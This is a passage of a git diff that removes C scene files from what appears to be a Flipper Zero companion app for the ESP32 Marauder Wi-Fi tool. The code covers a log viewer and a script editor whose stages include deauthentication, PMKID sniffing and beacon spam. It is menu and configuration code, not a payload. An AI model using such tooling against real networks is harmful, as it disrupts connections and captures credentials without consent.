wifi_marauder_uart_set_handle_rx_data_cb(app->lp_uart, NULL); - - wifi_marauder_script_worker_free(app->script_worker); - app->script_worker = NULL; - - app->is_writing_pcap = false; - if(app->capture_file && storage_file_is_open(app->capture_file)) { - storage_file_close(app->capture_file); - } - - app->is_writing_log = false; - if(app->log_file && storage_file_is_open(app->log_file)) { - storage_file_close(app->log_file); - } -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c deleted file mode 100644 index 6edb4a49d..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c +++ /dev/null @@ -1,187 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_log_viewer_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - WifiMarauderApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -static void _read_log_page_into_text_store(WifiMarauderApp* app) { - char temp[64 + 1]; - storage_file_seek( - app->log_file, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE * (app->open_log_file_page - 1), true); - furi_string_reset(app->text_box_store); - for(uint16_t i = 0; i < (WIFI_MARAUDER_TEXT_BOX_STORE_SIZE / (sizeof(temp) - 1)); i++) { - uint16_t num_bytes = storage_file_read(app->log_file, temp, sizeof(temp) - 1); - if(num_bytes == 0) { - break; - } - temp[num_bytes] = '\0'; - furi_string_cat_str(app->text_box_store, temp); - } -} - -void wifi_marauder_scene_log_viewer_setup_widget(WifiMarauderApp* app, bool called_from_browse) { - Widget* widget = app->widget; - bool is_open = storage_file_is_open(app->log_file); - bool should_open_log = (app->has_saved_logs_this_session || called_from_browse); - if(is_open) { - _read_log_page_into_text_store(app); - } else if( - should_open_log && - storage_file_open(app->log_file, app->log_file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { - uint64_t filesize = storage_file_size(app->log_file); - app->open_log_file_num_pages = filesize / WIFI_MARAUDER_TEXT_BOX_STORE_SIZE; - int extra_page = (filesize % WIFI_MARAUDER_TEXT_BOX_STORE_SIZE != 0) ? 1 : 0; - app->open_log_file_num_pages = (filesize / WIFI_MARAUDER_TEXT_BOX_STORE_SIZE) + extra_page; - app->open_log_file_page = 1; - _read_log_page_into_text_store(app); - } else { - app->open_log_file_page = 0; - app->open_log_file_num_pages = 0; - } - - widget_reset(widget); - - if(furi_string_empty(app->text_box_store)) { - char help_msg[256]; - snprintf( - help_msg, - sizeof(help_msg), - "The log is empty! :(\nTry sending a command?\n\nSaving pcaps to flipper sdcard: %s\nSaving logs to flipper sdcard: %s", - app->ok_to_save_pcaps ? "ON" : "OFF", - app->ok_to_save_logs ? "ON" : "OFF"); - furi_string_set_str(app->text_box_store, help_msg); - } - - widget_add_text_scroll_element( - widget, 0, 0, 128, 53, furi_string_get_cstr(app->text_box_store)); - - if(1 < app->open_log_file_page && app->open_log_file_page < app->open_log_file_num_pages) { - // hide "Browse" text for middle pages - widget_add_button_element( - widget, GuiButtonTypeCenter, "", wifi_marauder_scene_log_viewer_widget_callback, app); - } else { - // only show "Browse" text on first and last page - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Browse", - wifi_marauder_scene_log_viewer_widget_callback, - app); - } - - char pagecounter[100]; - snprintf( - pagecounter, - sizeof(pagecounter), - "%d/%d", - app->open_log_file_page, - app->open_log_file_num_pages); - if(app->open_log_file_page > 1) { - if(app->open_log_file_page == app->open_log_file_num_pages) { - // only show left side page-count on last page - widget_add_button_element( - widget, - GuiButtonTypeLeft, - pagecounter, - wifi_marauder_scene_log_viewer_widget_callback, - app); - } else { - widget_add_button_element( - widget, GuiButtonTypeLeft, "", wifi_marauder_scene_log_viewer_widget_callback, app); - } - } - if(app->open_log_file_page < app->open_log_file_num_pages) { - widget_add_button_element( - widget, - GuiButtonTypeRight, - pagecounter, - wifi_marauder_scene_log_viewer_widget_callback, - app); - } -} - -void wifi_marauder_scene_log_viewer_on_enter(void* context) { - WifiMarauderApp* app = context; - - app->open_log_file_page = 0; - app->open_log_file_num_pages = 0; - bool saved_logs_exist = false; - if(!app->has_saved_logs_this_session && furi_string_empty(app->text_box_store)) { - // no commands sent yet this session, find last saved log - if(storage_dir_open(app->log_file, MARAUDER_APP_FOLDER_LOGS)) { - char name[70]; - char lastname[70]; - while(storage_dir_read(app->log_file, NULL, name, sizeof(name))) { - // keep reading directory until last file is reached - strlcpy(lastname, name, sizeof(lastname)); - saved_logs_exist = true; - } - if(saved_logs_exist) { - snprintf( - app->log_file_path, - sizeof(app->log_file_path), - "%s/%s", - MARAUDER_APP_FOLDER_LOGS, - lastname); - } - } - storage_dir_close(app->log_file); - } - - wifi_marauder_scene_log_viewer_setup_widget(app, saved_logs_exist); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); -} - -bool wifi_marauder_scene_log_viewer_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter) { - // Browse - FuriString* predefined_filepath = furi_string_alloc_set_str(MARAUDER_APP_FOLDER_LOGS); - FuriString* selected_filepath = furi_string_alloc(); - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, ".log", &I_Text_10x10); - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->log_file_path, - furi_string_get_cstr(selected_filepath), - sizeof(app->log_file_path)); - if(storage_file_is_open(app->log_file)) { - storage_file_close(app->log_file); - } - wifi_marauder_scene_log_viewer_setup_widget(app, true); - } - furi_string_free(selected_filepath); - furi_string_free(predefined_filepath); - consumed = true; - } else if(event.event == GuiButtonTypeRight) { - // Advance page - ++app->open_log_file_page; - wifi_marauder_scene_log_viewer_setup_widget(app, false); - } else if(event.event == GuiButtonTypeLeft) { - // Previous page - --app->open_log_file_page; - wifi_marauder_scene_log_viewer_setup_widget(app, false); - } - } - - return consumed; -} - -void wifi_marauder_scene_log_viewer_on_exit(void* context) { - WifiMarauderApp* app = context; - widget_reset(app->widget); - if(storage_file_is_open(app->log_file)) { - storage_file_close(app->log_file); - } -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_confirm_delete.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_confirm_delete.c deleted file mode 100644 index 8e436fe2b..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_confirm_delete.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_script_confirm_delete_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - WifiMarauderApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void wifi_marauder_scene_script_confirm_delete_on_enter(void* context) { - WifiMarauderApp* app = context; - - widget_add_button_element( - app->widget, - GuiButtonTypeLeft, - "No", - wifi_marauder_scene_script_confirm_delete_widget_callback, - app); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - "Yes", - wifi_marauder_scene_script_confirm_delete_widget_callback, - app); - - widget_add_string_element( - app->widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Are you sure?"); - widget_add_text_box_element( - app->widget, - 0, - 12, - 128, - 38, - AlignCenter, - AlignCenter, - "The script will be\npermanently deleted", - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); -} - -bool wifi_marauder_scene_script_confirm_delete_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - // get which button press: "Yes" or "No" - if(event.event == GuiButtonTypeRight) { - // Yes - if(app->script != NULL) { - char script_path[256]; - snprintf( - script_path, - sizeof(script_path), - "%s/%s.json", - MARAUDER_APP_FOLDER_SCRIPTS, - app->script->name); - storage_simply_remove(app->storage, script_path); - wifi_marauder_script_free(app->script); - app->script = NULL; - - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_text(message, "Deleted!", 88, 32, AlignCenter, AlignCenter); - dialog_message_set_icon(message, &I_DolphinCommon_56x48, 5, 6); - dialog_message_set_buttons(message, NULL, "Ok", NULL); - dialog_message_show(app->dialogs, message); - dialog_message_free(message); - } - } - scene_manager_previous_scene(app->scene_manager); - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_script_confirm_delete_on_exit(void* context) { - WifiMarauderApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_edit.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_edit.c deleted file mode 100644 index 697daba4f..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_edit.c +++ /dev/null @@ -1,125 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -static void wifi_marauder_scene_script_edit_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - WifiMarauderScriptStage* current_stage = app->script->first_stage; - uint32_t stage_index = 0; - - while(current_stage != NULL && stage_index < index) { - current_stage = current_stage->next_stage; - stage_index++; - } - app->script_edit_selected_stage = current_stage; - - if(app->script_edit_selected_stage != NULL) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageEdit); - } -} - -static void wifi_marauder_scene_script_edit_add_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageAdd); -} - -void wifi_marauder_scene_script_edit_on_enter(void* context) { - WifiMarauderApp* app = context; - Submenu* submenu = app->submenu; - WifiMarauderScript* script = app->script; - submenu_set_header(submenu, script->name); - - WifiMarauderScriptStage* current_stage = script->first_stage; - int stage_index = 0; - while(current_stage != NULL) { - switch(current_stage->type) { - case WifiMarauderScriptStageTypeScan: - submenu_add_item( - submenu, "Scan", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSelect: - submenu_add_item( - submenu, "Select", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeDeauth: - submenu_add_item( - submenu, "Deauth", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeProbe: - submenu_add_item( - submenu, "Probe", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffRaw: - submenu_add_item( - submenu, "Sniff raw", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffBeacon: - submenu_add_item( - submenu, - "Sniff beacon", - stage_index, - wifi_marauder_scene_script_edit_callback, - app); - break; - case WifiMarauderScriptStageTypeSniffDeauth: - submenu_add_item( - submenu, - "Sniff deauth", - stage_index, - wifi_marauder_scene_script_edit_callback, - app); - break; - case WifiMarauderScriptStageTypeSniffEsp: - submenu_add_item( - submenu, "Sniff esp", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffPmkid: - submenu_add_item( - submenu, "Sniff PMKID", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffPwn: - submenu_add_item( - submenu, "Sniff pwn", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeBeaconList: - submenu_add_item( - submenu, "Beacon list", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeBeaconAp: - submenu_add_item( - submenu, "Beacon AP", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeExec: - submenu_add_item( - submenu, - "Custom command", - stage_index, - wifi_marauder_scene_script_edit_callback, - app); - break; - case WifiMarauderScriptStageTypeDelay: - submenu_add_item( - submenu, "Delay", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - } - current_stage = current_stage->next_stage; - stage_index++; - } - - submenu_add_item( - submenu, "[+] ADD STAGE", stage_index++, wifi_marauder_scene_script_edit_add_callback, app); - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_edit_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_edit_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_edit_list.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_edit_list.c deleted file mode 100644 index 7a3284caf..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_edit_list.c +++ /dev/null @@ -1,188 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -static void - wifi_marauder_scene_script_stage_edit_list_add_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - // Creates new item - WifiMarauderScriptStageListItem* new_item = - (WifiMarauderScriptStageListItem*)malloc(sizeof(WifiMarauderScriptStageListItem)); - new_item->value = malloc(64); - new_item->next_item = NULL; - - if(app->script_stage_edit_first_item == NULL) { - app->script_stage_edit_first_item = new_item; - } else { - WifiMarauderScriptStageListItem* last_item = app->script_stage_edit_first_item; - while(last_item->next_item != NULL) { - last_item = last_item->next_item; - } - last_item->next_item = new_item; - } - - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEditList, index); - app->user_input_type = WifiMarauderUserInputTypeString; - app->user_input_string_reference = &new_item->value; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); -} - -static void wifi_marauder_scene_script_stage_edit_list_deallocate_items(WifiMarauderApp* app) { - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - while(current_item != NULL) { - WifiMarauderScriptStageListItem* next_item = current_item->next_item; - free(current_item->value); - free(current_item); - current_item = next_item; - } - app->script_stage_edit_first_item = NULL; -} - -static void wifi_marauder_scene_script_stage_edit_list_save_strings(WifiMarauderApp* app) { - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - int array_size = 0; - - // Calculates the required array size - while(current_item != NULL) { - array_size++; - current_item = current_item->next_item; - } - - // Reallocate the array of strings if necessary - if(*app->script_stage_edit_string_count_reference < array_size) { - *app->script_stage_edit_strings_reference = - realloc(*app->script_stage_edit_strings_reference, array_size * sizeof(char*)); - } - - // Fills the array of strings - current_item = app->script_stage_edit_first_item; - int i = 0; - while(current_item != NULL) { - char* current_str = malloc(strlen(current_item->value) + 1); - strncpy(current_str, current_item->value, strlen(current_item->value) + 1); - (*app->script_stage_edit_strings_reference)[i] = current_str; - current_item = current_item->next_item; - i++; - } - - *app->script_stage_edit_string_count_reference = array_size; -} - -static void wifi_marauder_scene_script_stage_edit_list_save_numbers(WifiMarauderApp* app) { - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - int array_size = 0; - - // Calculates the required array size - while(current_item != NULL) { - array_size++; - current_item = current_item->next_item; - } - - // Reallocate the array of integers if necessary - if(*app->script_stage_edit_number_count_reference < array_size) { - *app->script_stage_edit_numbers_reference = - realloc(*app->script_stage_edit_numbers_reference, array_size * sizeof(int)); - } - - // Fills the array of integers - current_item = app->script_stage_edit_first_item; - int i = 0; - while(current_item != NULL) { - (*app->script_stage_edit_numbers_reference)[i] = atoi(current_item->value); - current_item = current_item->next_item; - i++; - } - - *app->script_stage_edit_number_count_reference = array_size; -} - -static void - wifi_marauder_scene_script_stage_edit_list_save_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - if(app->script_stage_edit_strings_reference != NULL && - app->script_stage_edit_string_count_reference != NULL) { - wifi_marauder_scene_script_stage_edit_list_save_strings(app); - } - - if(app->script_stage_edit_numbers_reference != NULL && - app->script_stage_edit_number_count_reference != NULL) { - wifi_marauder_scene_script_stage_edit_list_save_numbers(app); - } - - wifi_marauder_scene_script_stage_edit_list_deallocate_items(app); - scene_manager_previous_scene(app->scene_manager); -} - -static void - wifi_marauder_scene_script_stage_edit_list_clear_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - wifi_marauder_scene_script_stage_edit_list_deallocate_items(app); - - submenu_reset(app->submenu); - submenu_add_item( - app->submenu, - "[+] ADD ITEM", - 99, - wifi_marauder_scene_script_stage_edit_list_add_callback, - app); - submenu_add_item( - app->submenu, - "[*] SAVE ITEMS", - 99, - wifi_marauder_scene_script_stage_edit_list_save_callback, - app); - submenu_add_item( - app->submenu, - "[-] CLEAR LIST", - 99, - wifi_marauder_scene_script_stage_edit_list_clear_callback, - app); -} - -void wifi_marauder_scene_script_stage_edit_list_on_enter(void* context) { - WifiMarauderApp* app = context; - int item_index = 0; - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - - while(current_item != NULL) { - submenu_add_item(app->submenu, current_item->value, item_index++, NULL, app); - current_item = current_item->next_item; - } - submenu_add_item( - app->submenu, - "[+] ADD ITEM", - 99, - wifi_marauder_scene_script_stage_edit_list_add_callback, - app); - submenu_add_item( - app->submenu, - "[*] SAVE ITEMS", - 99, - wifi_marauder_scene_script_stage_edit_list_save_callback, - app); - submenu_add_item( - app->submenu, - "[-] CLEAR LIST", - 99, - wifi_marauder_scene_script_stage_edit_list_clear_callback, - app); - - submenu_set_selected_item( - app->submenu, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEditList)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_stage_edit_list_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_stage_edit_list_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_options.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_options.c deleted file mode 100644 index 35b374f61..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_options.c +++ /dev/null @@ -1,111 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -enum SubmenuIndex { - SubmenuIndexRun, - SubmenuIndexSettings, - SubmenuIndexEditStages, - SubmenuIndexSave, - SubmenuIndexDelete -}; - -void wifi_marauder_scene_script_options_save_script(WifiMarauderApp* app) { - char script_path[256]; - snprintf( - script_path, - sizeof(script_path), - "%s/%s.json", - MARAUDER_APP_FOLDER_SCRIPTS, - app->script->name); - wifi_marauder_script_save_json(app->storage, script_path, app->script); - - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_text(message, "Saved!", 88, 32, AlignCenter, AlignCenter); - dialog_message_set_icon(message, &I_DolphinCommon_56x48, 5, 6); - dialog_message_set_buttons(message, NULL, "Ok", NULL); - dialog_message_show(app->dialogs, message); - dialog_message_free(message); -} - -static void wifi_marauder_scene_script_options_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - switch(index) { - case SubmenuIndexRun: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexSettings: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptSettings); - break; - case SubmenuIndexEditStages: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptEdit); - break; - case SubmenuIndexSave: - wifi_marauder_scene_script_options_save_script(app); - break; - case SubmenuIndexDelete: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptConfirmDelete); - break; - } -} - -void wifi_marauder_scene_script_options_on_enter(void* context) { - WifiMarauderApp* app = context; - - // If returning after confirming script deletion - if(app->script == NULL) { - scene_manager_previous_scene(app->scene_manager); - return; - } - - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, app->script->name); - submenu_add_item( - submenu, "[>] RUN", SubmenuIndexRun, wifi_marauder_scene_script_options_callback, app); - submenu_add_item( - submenu, - "[S] SETTINGS", - SubmenuIndexSettings, - wifi_marauder_scene_script_options_callback, - app); - submenu_add_item( - submenu, - "[+] EDIT STAGES", - SubmenuIndexEditStages, - wifi_marauder_scene_script_options_callback, - app); - submenu_add_item( - submenu, "[*] SAVE", SubmenuIndexSave, wifi_marauder_scene_script_options_callback, app); - submenu_add_item( - submenu, - "[X] DELETE", - SubmenuIndexDelete, - wifi_marauder_scene_script_options_callback, - app); - - submenu_set_selected_item( - submenu, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_options_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeBack) { - wifi_marauder_script_free(app->script); - app->script = NULL; - } - - return consumed; -} - -void wifi_marauder_scene_script_options_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_select.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_select.c deleted file mode 100644 index bc0746858..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_select.c +++ /dev/null @@ -1,90 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -static void wifi_marauder_scene_script_select_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - char script_path[256]; - snprintf( - script_path, - sizeof(script_path), - "%s/%s.json", - MARAUDER_APP_FOLDER_SCRIPTS, - furi_string_get_cstr(app->script_list[index])); - - app->script = wifi_marauder_script_parse_json(app->storage, script_path); - if(app->script) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptSelect, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptOptions); - } -} - -static void wifi_marauder_scene_script_select_add_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptSelect, index); - - app->user_input_type = WifiMarauderUserInputTypeFileName; - app->user_input_file_dir = strdup(MARAUDER_APP_FOLDER_SCRIPTS); - app->user_input_file_extension = strdup("json"); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); -} - -void wifi_marauder_scene_script_select_on_enter(void* context) { - WifiMarauderApp* app = context; - Submenu* submenu = app->submenu; - - File* dir_scripts = storage_file_alloc(app->storage); - if(storage_dir_open(dir_scripts, MARAUDER_APP_FOLDER_SCRIPTS)) { - FileInfo file_info; - char file_path[255]; - app->script_list_count = 0; - // Goes through the files in the folder counting the ones that end with the json extension - while(storage_dir_read(dir_scripts, &file_info, file_path, 255)) { - app->script_list_count++; - } - if(app->script_list_count > 0) { - submenu_set_header(submenu, "Select a script:"); - app->script_list = malloc(app->script_list_count * sizeof(FuriString*)); - storage_dir_close(dir_scripts); - storage_dir_open(dir_scripts, MARAUDER_APP_FOLDER_SCRIPTS); - // Read the files again from the beginning, adding the scripts in the list - int script_index = 0; - while(storage_dir_read(dir_scripts, &file_info, file_path, 255)) { - app->script_list[script_index] = furi_string_alloc(); - path_extract_filename_no_ext(file_path, app->script_list[script_index]); - submenu_add_item( - submenu, - furi_string_get_cstr(app->script_list[script_index]), - script_index, - wifi_marauder_scene_script_select_callback, - app); - script_index++; - } - } else { - submenu_set_header(submenu, "No script found"); - } - submenu_add_item( - submenu, "[+] ADD SCRIPT", 99, wifi_marauder_scene_script_select_add_callback, app); - storage_dir_close(dir_scripts); - } - storage_file_free(dir_scripts); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptSelect)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_select_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); - - for(int i = 0; i < app->script_list_count; i++) { - furi_string_free(app->script_list[i]); - } - free(app->script_list); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_settings.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_settings.c deleted file mode 100644 index b4903af05..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_settings.c +++ /dev/null @@ -1,87 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -enum ScriptSettingsOption { - ScriptSettingsOptionRepeat, - ScriptSettingsOptionSavePcap, - ScriptSettingsOptionEnableLed -}; - -const char* option_values[3] = {"No", "Yes", "Default"}; - -static void wifi_marauder_scene_script_settings_enter_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - // Accept script repeat value - if(index == ScriptSettingsOptionRepeat) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptSettings, index); - app->user_input_type = WifiMarauderUserInputTypeNumber; - app->user_input_number_reference = &app->script->repeat; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); - } -} - -static void wifi_marauder_scene_script_settings_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - uint8_t current_option = variable_item_list_get_selected_item_index(app->var_item_list); - uint8_t option_value_index = variable_item_get_current_value_index(item); - - switch(current_option) { - case ScriptSettingsOptionSavePcap: - variable_item_set_current_value_text(item, option_values[option_value_index]); - app->script->save_pcap = option_value_index; - break; - case ScriptSettingsOptionEnableLed: - variable_item_set_current_value_text(item, option_values[option_value_index]); - app->script->enable_led = option_value_index; - break; - } -} - -void wifi_marauder_scene_script_settings_on_enter(void* context) { - WifiMarauderApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - variable_item_list_set_enter_callback( - app->var_item_list, wifi_marauder_scene_script_settings_enter_callback, app); - - // Script repeat option - VariableItem* repeat_item = variable_item_list_add(app->var_item_list, "Repeat", 1, NULL, app); - char repeat_str[32]; - snprintf(repeat_str, sizeof(repeat_str), "%d", app->script->repeat); - variable_item_set_current_value_text(repeat_item, repeat_str); - - // Save PCAP option - VariableItem* save_pcap_item = variable_item_list_add( - app->var_item_list, - "Save PCAP", - 3, - wifi_marauder_scene_script_settings_change_callback, - app); - variable_item_set_current_value_index(save_pcap_item, app->script->save_pcap); - variable_item_set_current_value_text(save_pcap_item, option_values[app->script->save_pcap]); - - // Enable board LED option - VariableItem* enable_led_item = variable_item_list_add( - app->var_item_list, - "Enable LED", - 3, - wifi_marauder_scene_script_settings_change_callback, - app); - variable_item_set_current_value_index(enable_led_item, app->script->enable_led); - variable_item_set_current_value_text(enable_led_item, option_values[app->script->enable_led]); - - variable_item_list_set_selected_item( - var_item_list, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptSettings)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); -} - -bool wifi_marauder_scene_script_settings_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_settings_on_exit(void* context) { - WifiMarauderApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_stage_add.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_stage_add.c deleted file mode 100644 index 33f1a2f03..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_stage_add.c +++ /dev/null @@ -1,297 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -// Scan -static void wifi_marauder_scene_script_stage_add_scan_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageScan* stage = - (WifiMarauderScriptStageScan*)malloc(sizeof(WifiMarauderScriptStageScan)); - stage->type = WifiMarauderScriptScanTypeAp; - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SCAN; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeScan, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Select -static void wifi_marauder_scene_script_stage_add_select_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSelect* stage = - (WifiMarauderScriptStageSelect*)malloc(sizeof(WifiMarauderScriptStageSelect)); - stage->type = WifiMarauderScriptSelectTypeAp; - stage->filter = strdup("all"); - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSelect, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Deauth -static void wifi_marauder_scene_script_stage_add_deauth_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageDeauth* stage = - (WifiMarauderScriptStageDeauth*)malloc(sizeof(WifiMarauderScriptStageDeauth)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_DEAUTH; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeDeauth, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Probe -static void 